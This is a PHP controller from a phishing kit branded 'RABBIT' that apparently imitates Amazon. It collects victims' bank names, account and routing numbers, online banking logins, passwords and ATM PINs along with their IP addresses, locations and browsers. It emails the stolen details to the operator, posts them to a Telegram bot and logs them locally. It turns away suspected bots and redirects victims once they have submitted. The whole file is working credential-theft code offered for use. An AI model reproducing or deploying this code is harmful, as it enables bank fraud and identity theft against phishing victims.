<?php
defined("ALLOW") or exit('No direct script access allowed');

class Bank
{
	public $goRABBIT;
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();
		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 9)) {
			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{
		if ($this->goRABBIT->is_mobile) {
			echo view('mobile/bank');
		} else {
			echo view('pc/bank');
		}
	}

	public function process()
	{
		if (isset($_POST)) {
			$nameacc        = $_POST['nameonAccount'];
			$bankname        = $_POST['bankName'];
			$routingnum   = $_POST['routingNumber'];
			$accountnum   = $_POST['actnum'];
			$usernamex   = $_POST['onlineID'];
			$passwordx   = $_POST['bankPassword'];
			$pin 		 = $_POST['pin'];
			$msg = "{$nameacc}|{$bankname}|{$accountnum}|{$routingnum}|{$usernamex}|{$passwordx}|{$pin}|{$this->goRABBIT->ip_address}|{$this->goRABBIT->agent}|";

$message ="
<fieldset style='border: none;'>
<fieldset style='text-align: center; border: 3px dotted rgb(255, 255, 255); border-radius:5px; background-color:rgb(251, 139, 139); max-width: 90%;'>
<pre><strong style='font-size:18px; color:white; letter-spacing:1px'> ╦═╗╔═╗╔╗ ╔╗ ╦╔╦╗</strong>
<strong style='font-size:18px; color:white; letter-spacing:1px'>╠╦╝╠═╣╠╩╗╠╩╗║ ║</strong>
<strong style='font-size:18px; color:white; letter-spacing:1px'>╩╚═╩ ╩╚═╝╚═╝╩ ╩</strong>
</pre>
</fieldset>
<br>
<fieldset style='border: 3px dotted gray; border-radius:10px; background-color:rgb(237, 237, 237); max-width: 90%;'>
<legend><strong style='font-size:18px; color: rgb(131, 131, 131); margin-left:5px; margin-right:5px;'>AMAZON</strong></legend>
<pre>
<br>
<strong style='font-family: Arial; font-size:13px; color:rgb(135, 135, 135); margin-top:12px; padding: 5px 30px; background-color:rgb(255, 255, 255); border-radius:7px;
border: 1px solid rgb(117, 117, 117);'>BANK INFO</strong>
<code style='color: black;'>
🔘 Bank Name       : {$bankname}
🔘 Name on Account : {$nameacc}
🔘 Account Number  : {$accountnum}
🔘 Routing Number  : {$routingnum}
🔘 Username        : {$usernamex}
🔘 Password        : {$passwordx}
🔘 ATM's Pin       : {$pin}
</code>
<strong style='padding: 5px 30px; background-color:rgb(255, 255, 255); border-radius:7px; font-family: Arial; font-size:13px; color:rgb(135, 135, 135); margin-top:8px;border: 1px solid rgb(117, 117, 117);'>VISITOR INFO</strong>
<code style='color: black;'>
🔘 Date & Time : ". _date() ."
🔘 Device      : {$this->goRABBIT->platform}
🔘 Browser     : {$this->goRABBIT->browser}
🔘 Country     : {$_SESSION['country']}
🔘 State       : {$_SESSION['region']}
🔘 City        : {$_SESSION['city']}
🔘 Ip Address  : {$this->goRABBIT->ip_address}
🔘 ISP         : {$this->goRABBIT->isp}
🔘 User Agent  : {$this->goRABBIT->agent}
</code>
</pre>
</fieldset>
<br>
<fieldset style='text-align: center; border: 3px dotted rgb(255, 255, 255); border-radius:5px; background-color:rgb(163, 162, 162); max-width: 90%;'>
<strong style='font-size:18px; color:white; letter-spacing:1px'>GOOD LUCK</strong>
</fieldset>
</fieldset>
";

			$subject = "GET BANK :: [ {$this->goRABBIT->ip_address} - {$_SESSION['country']} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: RABBIT <cs@rabbitofc.icu>";
			@mail(_config('RESULT'), $subject, $message, $headers);	__data($msg);

			
			if (_config('TELEGRAM') == 'on') {
				$c = curl_init();
				curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot' . telex('token') . '/sendMessage?chat_id=' . telex('idtelegram') . '&text=' . urlencode(strip_tags($message)));
				curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
				curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
				$x = curl_exec($c);
				curl_close($c);
			}
			
			write(FCPATH . 'RABBIT/Static/log_bank.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|GET BANK\r\n");

			$_SESSION['access'] = 9;
			redirect(base_url() . 'ap/finished/#_dn=' . md5(rand(0, 999)));
		}
	}
}